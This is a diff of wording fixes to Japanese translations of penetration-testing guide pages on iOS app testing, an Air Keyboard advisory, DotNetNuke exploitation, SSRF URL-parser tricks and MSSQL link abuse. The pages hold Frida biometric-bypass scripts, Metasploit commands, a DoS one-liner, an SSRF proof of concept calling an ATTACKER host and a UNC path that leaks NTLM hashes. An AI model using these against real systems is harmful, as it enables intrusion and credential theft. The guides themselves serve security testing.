@ -621,13 +621,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```
|
||||
役立ちます。さらに、**Xcode**はコンソールログを収集する方法を提供します:
|
||||
役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します:
|
||||
|
||||
1. Xcodeを開きます。
|
||||
2. iOSデバイスを接続します。
|
||||
3. **ウィンドウ** -> **デバイスとシミュレーター**に移動します。
|
||||
4. デバイスを選択します。
|
||||
5. 調査している問題をトリガーします。
|
||||
5. 調査している問題を引き起こします。
|
||||
6. **コンソールを開く**ボタンを使用して、新しいウィンドウでログを表示します。
|
||||
|
||||
より高度なログ記録のために、デバイスシェルに接続し、**socat**を使用することでリアルタイムのログ監視が可能です:
|
||||
@ -642,11 +642,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### セキュリティリスク
|
||||
|
||||
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**を伴います。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しないこと**が推奨されます。
|
||||
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しないこと**が推奨されます。
|
||||
|
||||
### バックアップからのファイルの除外
|
||||
### バックアップからのファイル除外
|
||||
|
||||
`Documents/`および`Library/Application Support/`内のファイルはデフォルトでバックアップされます。開発者は、`NSURL setResourceValue:forKey:error:`を使用して特定のファイルやディレクトリをバックアップから除外することができます。この実践は、機密データがバックアップに含まれないように保護するために重要です。
|
||||
`Documents/`および`Library/Application Support/`内のファイルはデフォルトでバックアップされます。開発者は、`NSURL setResourceValue:forKey:error:`を使用して特定のファイルやディレクトリをバックアップから除外することができます。これは、機密データがバックアップに含まれないように保護するために重要です。
|
||||
|
||||
### 脆弱性のテスト
|
||||
|
||||
@ -669,11 +669,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### アプリの動作の変更
|
||||
|
||||
バックアップの変更を通じてアプリの動作を変更する例は、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)で示されており、UIロックPINは**pin_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが提供されます。
|
||||
バックアップの変更を通じてアプリの動作を変更する例として、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)が示されています。このアプリでは、UIロックPINが**pin_code**キーの下に`net.bither.plist`内に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが可能になります。
|
||||
|
||||
## 機密データのメモリテストに関する概要
|
||||
|
||||
アプリケーションのメモリに保存された機密情報を扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあり、**メモリダンプの作成**と**リアルタイムでのメモリ分析**です。どちらの方法にも、ダンププロセスや分析中に重要なデータを見逃す可能性などの課題があります。
|
||||
アプリケーションのメモリに保存された機密情報を扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあります:**メモリダンプの作成**と**リアルタイムでのメモリ分析**です。どちらの方法にも、ダンププロセスや分析中に重要なデータを見逃す可能性などの課題があります。
|
||||
|
||||
## **メモリダンプの取得と分析**
|
||||
|
||||
@ -687,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
より詳細な分析、特定のデータタイプやパターンの検索を含むために、**radare2**は広範な検索機能を提供します:
|
||||
より詳細な分析、特定のデータタイプやパターンの検索を含む、**radare2**は広範な検索機能を提供します:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -708,31 +708,31 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
開発者は、認証**チェック**、**保存**、または**送信**のために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
|
||||
開発者は、**deprecated algorithms**を使用して認証の**checks**を行ったり、データを**store**または**send**したりすべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**hashes**を使用する場合、ソルトを使用したハッシュのブルートフォース**resistant**なものを使用するべきです。
|
||||
|
||||
### Check
|
||||
|
||||
主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密があるか、またはそれらが**予測可能**であるか、そしてコードが何らかの**弱い****暗号化**アルゴリズムを使用しているかどうかを確認することです。
|
||||
主なチェックは、コード内に**hardcoded**パスワード/秘密が見つかるか、またはそれらが**predictable**であるか、コードが何らかの**weak** **cryptography**アルゴリズムを使用しているかを確認することです。
|
||||
|
||||
興味深いことに、**objection**を使用して、いくつかの**crypto** **ライブラリ**を自動的に**監視**することができます。
|
||||
**crypto** **libraries**を自動的に**monitor**できることを知っておくのは興味深いです。**objection**を使用して:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
より**詳細情報**については、iOSの暗号APIおよびライブラリに関して、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
|
||||
**iOSの暗号APIとライブラリに関する詳細情報**については、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
|
||||
|
||||
## ローカル認証
|
||||
|
||||
**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。
|
||||
|
||||
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に扱うための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
|
||||
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
|
||||
|
||||
Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります:
|
||||
|
||||
- **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を行います。
|
||||
- **`Security.framework`**:生体認証で秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
|
||||
- **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を提供します。
|
||||
- **`Security.framework`**:生体認証を使用して秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
|
||||
|
||||
> [!CAUTION]
|
||||
> ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主にブール値を返すだけで認証プロセスのためのデータを送信しないため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||||
> ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||||
|
||||
### ローカル認証の実装
|
||||
|
||||
@ -745,9 +745,9 @@ Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢が
|
||||
|
||||
### キーチェーンを使用したローカル認証
|
||||
|
||||
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDのような生体認証を使用してのみアクセス可能になります。
|
||||
iOSアプリでの**ローカル認証**の実装には、認証トークンなどの秘密データを安全に保存するために**キーチェーンAPI**を使用します。このプロセスにより、データはユーザーによってのみアクセスでき、デバイスのパスコードやTouch IDなどの生体認証を使用します。
|
||||
|
||||
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードで成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
|
||||
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを介して成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
|
||||
|
||||
以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するためのアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
|
||||
|
||||
@ -885,13 +885,13 @@ $ otool -L <AppName>.app/<AppName>
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
もし`Security.framework`が使用されている場合、2番目のものだけが表示されます。
|
||||
`Security.framework`が使用されている場合、2番目のもののみが表示されます。
|
||||
|
||||
### ローカル認証フレームワークバイパス
|
||||
|
||||
#### **Objection**
|
||||
|
||||
**Objection Biometrics Bypass**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある技術が、**LocalAuthentication**メカニズムを克服するために利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
|
||||
**Objection Biometrics Bypass**を通じて、**LocalAuthentication**メカニズムを克服するための技術が利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
|
||||
|
||||
このバイパスを有効にするために、次のコマンドが使用されます:
|
||||
```bash
|
||||
@ -902,7 +902,7 @@ $ otool -L <AppName>.app/<AppName>
|
||||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||
```
|
||||
このコマンドは、Objectionが`evaluatePolicy`チェックの結果を`True`に効果的に変更するタスクを登録する一連のプロセスを開始します。
|
||||
このコマンドは、Objectionがタスクを登録し、`evaluatePolicy`チェックの結果を`True`に実質的に変更するシーケンスを引き起こします。
|
||||
|
||||
#### Frida
|
||||
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
ローカル認証の**バイパス**を達成するために、Fridaスクリプトが作成されます。このスクリプトは**evaluatePolicy**チェックをターゲットにし、そのコールバックを傍受して**success=1**を返すようにします。コールバックの動作を変更することで、認証チェックは効果的にバイパスされます。
|
||||
ローカル認証の**バイパス**を達成するために、Fridaスクリプトが作成されます。このスクリプトは**evaluatePolicy**チェックを対象とし、そのコールバックを傍受して**success=1**を返すようにします。コールバックの動作を変更することで、認証チェックは効果的にバイパスされます。
|
||||
|
||||
以下のスクリプトは、**evaluatePolicy**メソッドの結果を変更するために注入されます。コールバックの結果を常に成功を示すように変更します。
|
||||
```swift
|
||||
@ -958,7 +958,7 @@ return result;
|
||||
console.log("Objective-C Runtime is not available!");
|
||||
}
|
||||
```
|
||||
バイオメトリック認証をバイパスするためにFridaスクリプトを注入するには、次のコマンドを使用します:
|
||||
バイオメトリック認証をバイパスし、Fridaスクリプトを注入するには、次のコマンドを使用します:
|
||||
```bash
|
||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||
```
|
||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## ネットワーク通信
|
||||
|
||||
**暗号化なしで通信が行われていないか**、またアプリケーションがサーバーの**TLS証明書を正しく検証しているか**を確認することが重要です。\
|
||||
**暗号化なしで通信が行われていないこと**、またアプリケーションがサーバーの**TLS証明書を正しく検証していること**を確認することが重要です。\
|
||||
これらの問題を確認するために、**Burp**のようなプロキシを使用できます:
|
||||
|
||||
{{#ref}}
|
||||
@ -1017,26 +1017,26 @@ burp-configuration-for-ios.md
|
||||
|
||||
### ホスト名チェック
|
||||
|
||||
TLS証明書を検証する一般的な問題は、証明書が**信頼された** **CA**によって署名されているかを確認することですが、**証明書のホスト名**がアクセスされているホスト名であるかを**確認しない**ことです。\
|
||||
TLS証明書を検証する一般的な問題の一つは、証明書が**信頼された** **CA**によって署名されていることを確認することですが、**証明書のホスト名**がアクセスされているホスト名であるかどうかを**確認しない**ことです。\
|
||||
この問題をBurpを使用して確認するためには、iPhoneでBurp CAを信頼した後、**異なるホスト名のためにBurpで新しい証明書を作成**し、それを使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
|
||||
|
||||
### 証明書ピンニング
|
||||
|
||||
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\
|
||||
脱獄したデバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
|
||||
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になることがあります。**\
|
||||
脱獄デバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
|
||||
|
||||
また、**objectionの** `ios sslpinning disable`を使用することもできます。
|
||||
|
||||
## その他
|
||||
|
||||
- **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。
|
||||
- App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。
|
||||
- **`/User/Library`**には、ユーザーのレベルのアプリケーションによって保存されたデータが含まれています。
|
||||
- App Storeからユーザーがインストールしたアプリケーションは、**`/User/Applications`**内にあります。
|
||||
- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
|
||||
- **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
|
||||
- インストールされたアプリケーションのフォルダ内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります:
|
||||
- **`iTunesArtwork`**:アプリによって使用されるアイコン
|
||||
- **`iTunesMetadata.plist`**:App Storeで使用されるアプリの情報
|
||||
- **`/Library/*`**:設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが含まれています。
|
||||
- **`/Library/*`**:設定やキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションがバックグラウンドに送信される前に行われたスナップショットが含まれています。
|
||||
|
||||
### ホットパッチ/強制更新
|
||||
|
||||
@ -1046,7 +1046,7 @@ TLS証明書を検証する一般的な問題は、証明書が**信頼された
|
||||
|
||||
### サードパーティ
|
||||
|
||||
**3rdパーティSDK**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
|
||||
**3rdパーティSDK**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、またはその利点を完全に放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含むようになる可能性があります。
|
||||
|
||||
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告の表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
|
||||
|
||||
|
@ -4,12 +4,11 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS版の商用「Air Keyboard」アプリケーション(App Store ID 6463187929)は、**ポート8888でクリアテキストTCPサービスを開き**、**認証なしでキーストロークフレームを受け入れます**。
|
||||
同じWi-Fiネットワーク上の任意のデバイスがそのポートに接続し、被害者の電話に任意のキーボード入力を注入することができ、**完全なリモートインタラクションハイジャック**を実現します。
|
||||
iOS版の商用「Air Keyboard」アプリケーション(App Store ID 6463187929)は、**ポート8888でクリアテキストTCPサービスを開き**、**認証なしでキーストロークフレームを受け入れます**。 同じWi-Fiネットワーク上の任意のデバイスがそのポートに接続し、被害者の電話に任意のキーボード入力を注入することができ、**完全なリモートインタラクションハイジャック**を達成します。
|
||||
|
||||
対応するAndroidビルドは**ポート55535**でリッスンします。弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミデータが**OpenSSL復号ルーチンで未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
|
||||
対応するAndroidビルドは**ポート55535**でリッスンします。 弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミが**OpenSSL復号ルーチンで未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
|
||||
|
||||
## 1. Service Discovery
|
||||
## 1. サービス発見
|
||||
|
||||
ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します:
|
||||
```bash
|
||||
@ -65,14 +64,14 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. 根本原因
|
||||
|
||||
1. **受信フレームのオリジン/整合性チェックがない** (iOS)。
|
||||
2. **暗号の誤用** (静的キー、ECB、長さ検証の欠如) と **例外処理の欠如** (Android)。
|
||||
1. **受信フレームのオリジン/整合性チェックなし** (iOS)。
|
||||
2. **暗号の誤用** (静的キー、ECB、長さ検証の欠如) および **例外処理の欠如** (Android)。
|
||||
|
||||
## 6. 緩和策と強化アイデア
|
||||
|
||||
* モバイル端末で認証されていないサービスを決して公開しない。
|
||||
* オンボーディング中にデバイスごとの秘密を導出し、入力処理の前にそれらを検証する。
|
||||
* リスナーを `127.0.0.1` にバインドし、リモートコントロールのために相互認証された暗号化トランスポート (例: TLS, Noise) を使用する。
|
||||
* リスナーを `127.0.0.1` にバインドし、相互認証された暗号化トランスポート (例: TLS, Noise) を使用してリモートコントロールを行う。
|
||||
* モバイルセキュリティレビュー中に予期しないオープンポートを検出する (`netstat`, `lsof`, `frida-trace` on `socket()` など)。
|
||||
* エンドユーザーとして: Air Keyboard をアンインストールするか、信頼できる隔離された Wi-Fi ネットワークでのみ使用する。
|
||||
|
||||
|
@ -9,12 +9,12 @@ DNNに**管理者**としてログインすると、**RCE**を取得するのは
|
||||
---
|
||||
## バージョンと環境の列挙
|
||||
|
||||
* *X-DNN* HTTPレスポンスヘッダーを確認してください - 通常、正確なプラットフォームバージョンが開示されます。
|
||||
* *X-DNN* HTTPレスポンスヘッダーを確認してください – 通常、正確なプラットフォームバージョンが開示されます。
|
||||
* インストールウィザードは、`/Install/Install.aspx?mode=install`でバージョンを漏洩します(非常に古いインストールでアクセス可能)。
|
||||
* `/API/PersonaBar/GetStatus` (9.x)は、低権限ユーザー向けに`"dnnVersion"`を含むJSONブロブを返します。
|
||||
* ライブインスタンスで見る典型的なクッキー:
|
||||
* 実行中のインスタンスで見る典型的なクッキー:
|
||||
* `.DOTNETNUKE` – ASP.NETフォーム認証チケット。
|
||||
* `DNNPersonalization` – XML/シリアライズされたユーザープロファイルデータを含みます(古いバージョン - 下記のRCEを参照)。
|
||||
* `DNNPersonalization` – XML/シリアライズされたユーザープロファイルデータを含みます(古いバージョン – 下記のRCEを参照)。
|
||||
|
||||
---
|
||||
## 未認証の悪用
|
||||
@ -29,17 +29,17 @@ msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
モジュールは、パッチが適用されているが依然として脆弱なバージョン(CVE-2018-15811/15812/18325/18326)に対して正しいパスを自動的に選択します。 7.x–9.1.xでは**認証なし**で、9.2.x+では*確認済み*の低権限アカウントでの利用が可能です。
|
||||
モジュールは、パッチが適用されているが依然として脆弱なバージョン(CVE-2018-15811/15812/18325/18326)に対して正しいパスを自動的に選択します。 7.x–9.1.xでは**認証なし**で、9.2.x+では*確認済み*の低権限アカウントでの悪用が可能です。
|
||||
|
||||
### 2. サーバーサイドリクエストフォージェリ (CVE-2025-32372)
|
||||
*影響を受けるバージョン < 9.13.8 – パッチは2025年4月にリリース*
|
||||
|
||||
古い`DnnImageHandler`の修正をバイパスすることで、攻撃者はサーバーに**任意のGETリクエスト**を発行させることができます(セミブラインドSSRF)。 実際の影響:
|
||||
|
||||
* クラウドデプロイメントにおける内部ポートスキャン / メタデータサービスの発見。
|
||||
* クラウド展開における内部ポートスキャン / メタデータサービスの発見。
|
||||
* インターネットからファイアウォールで保護されたホストへの到達。
|
||||
|
||||
概念実証(`TARGET` & `ATTACKER`を置き換えてください):
|
||||
概念実証(`TARGET`と`ATTACKER`を置き換えてください):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
@ -48,7 +48,7 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
### 3. NTLMハッシュの露出 via UNCリダイレクト (CVE-2025-52488)
|
||||
*影響を受けるバージョン 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
特別に作成されたコンテンツにより、DNNは `\\attacker\share\img.png` のような **UNCパス** を使用してリソースを取得しようとします。 Windowsは喜んでNTLMネゴシエーションを行い、サーバーアカウントのハッシュを攻撃者に漏洩します。 **10.0.1** にアップグレードするか、ファイアウォールでアウトバウンドSMBを無効にしてください。
|
||||
特別に作成されたコンテンツにより、DNNは `\\attacker\share\img.png` のような **UNCパス** を使用してリソースを取得しようとします。 Windowsは喜んでNTLMネゴシエーションを行い、サーバーアカウントのハッシュを攻撃者に漏洩させます。 **10.0.1** にアップグレードするか、ファイアウォールでアウトバウンドSMBを無効にしてください。
|
||||
|
||||
### 4. IPフィルターバイパス (CVE-2025-52487)
|
||||
管理者が管理ポータルの保護のために *Host/IPフィルター* に依存している場合、**10.0.1** より前のバージョンはリバースプロキシシナリオで `X-Forwarded-For` を操作することでバイパスされる可能性があることに注意してください。
|
||||
@ -74,7 +74,7 @@ xp_cmdshell 'whoami';
|
||||
|
||||
---
|
||||
## Windowsでの特権昇格
|
||||
**IIS AppPool\<Site>**としてコード実行が達成されると、一般的なWindows特権昇格技術が適用されます。ボックスが脆弱な場合、次のことを利用できます:
|
||||
**IIS AppPool\<Site>**としてコード実行が達成されると、一般的なWindows特権昇格技術が適用されます。ボックスが脆弱であれば、次のことを利用できます:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool**を使用して*SeImpersonatePrivilege*を悪用します。
|
||||
* **Juicy/Sharp Potatoes**を使用して*サービスアカウント*から脱出します。
|
||||
@ -82,7 +82,7 @@ xp_cmdshell 'whoami';
|
||||
---
|
||||
## ハードニング推奨事項(ブルーチーム)
|
||||
|
||||
* **9.13.9**(SSRFバイパスの修正)以上に**アップグレード**するか、できれば**10.0.1**(IPフィルターおよびNTLMの問題)にします。
|
||||
* **9.13.9**(SSRFバイパスの修正)以上に**アップグレード**するか、できれば**10.0.1**(IPフィルターおよびNTLMの問題)にアップグレードします。
|
||||
* インストール後に残存する**`InstallWizard.aspx*`**ファイルを削除します。
|
||||
* アウトバウンドSMB(ポート445/139)を無効にします。
|
||||
* DNN内ではなく、エッジプロキシで強力な*ホストフィルター*を強制します。
|
||||
|
@ -207,7 +207,7 @@ _the backslash-trick_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#u
|
||||
|
||||
画像は [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) から
|
||||
|
||||
### IPv6ゾーン識別子(%25)トリック
|
||||
### IPv6ゾーン識別子 (%25) トリック
|
||||
|
||||
RFC 6874をサポートする現代のURLパーサーは、パーセント記号の後に**ゾーン識別子**を含む*リンクローカル* IPv6アドレスを許可します。一部のセキュリティフィルターはこの構文を認識しておらず、角括弧で囲まれたIPv6リテラルのみを削除し、次のペイロードが内部インターフェースに到達することを許可します:
|
||||
```text
|
||||
@ -221,12 +221,12 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
いくつかの主流フレームワークは、上記のトリックでURL検証がバイパスされた後にSSRFに悪用されるホスト名不一致の問題に悩まされています。
|
||||
|
||||
| 年 | CVE | コンポーネント | バグの概要 | 最小 PoC |
|
||||
|------|---------------------------|-----------------------------------|---------------------------------------------------------------------------|----------|
|
||||
|------|---------------------------|-----------------------------------|--------------------------------------------------------------------------|----------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` は *userinfo* セクションで許可されていないため、`https://example.com\[@internal` はSpringによってホスト `example.com` として解析されますが、ブラウザでは `internal` として解析され、ホストの許可リストが使用されるとオープンリダイレクトとSSRFを可能にします。Spring 5.3.34 / 6.0.19 / 6.1.6+ にアップグレードしてください。 |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | バックスラッシュの混乱により、`http://example.com\\@169.254.169.254/` が `@` で分割されるホストフィルターをバイパスできました。 |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | 名前が `.` でサフィックスされるとホスト名の検証がスキップされます(ドットレスドメインの混乱)。 |
|
||||
|
||||
サードパーティのURLパーサーに依存する場合、**信頼するライブラリが返す正規化されたホストとユーザーが提供した生の文字列を比較して、これらの問題のクラスを検出してください。**
|
||||
サードパーティのURLパーサーに依存する場合、**信頼するライブラリが返す正規化されたホストとユーザーが提供した生の文字列を比較して、これらの問題を検出してください**。
|
||||
|
||||
### ペイロード生成ヘルパー (2024+)
|
||||
|
||||
|
@ -166,7 +166,7 @@ MSSQLホスト内で**コマンドを実行**することも可能かもしれ
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
```
|
||||
チェックインのページには、**次のセクションで手動でこれを行う方法が記載されています。**
|
||||
チェックインのページで、**次のセクションに手動で行う方法を確認してください。**
|
||||
|
||||
### MSSQL基本ハッキングテクニック
|
||||
|
||||
@ -176,7 +176,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
||||
|
||||
## MSSQL信頼されたリンク
|
||||
|
||||
MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。この信頼は連鎖させることができ、ユーザーはコマンドを実行できるような誤って構成されたデータベースを見つけることができるかもしれません。
|
||||
MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行できるようになります**。この信頼は連鎖させることができ、ユーザーはコマンドを実行できるような誤って設定されたデータベースを見つけることができるかもしれません。
|
||||
|
||||
**データベース間のリンクは、フォレストトラストを越えても機能します。**
|
||||
|
||||
@ -226,13 +226,13 @@ metasploitを使用して、信頼できるリンクを簡単に確認できま
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
メタスプリットはMSSQLの`openquery()`関数のみを悪用しようとします(したがって、`openquery()`でコマンドを実行できない場合は、コマンドを実行するために`EXECUTE`メソッドを**手動で**試す必要があります。詳細は以下を参照してください。)
|
||||
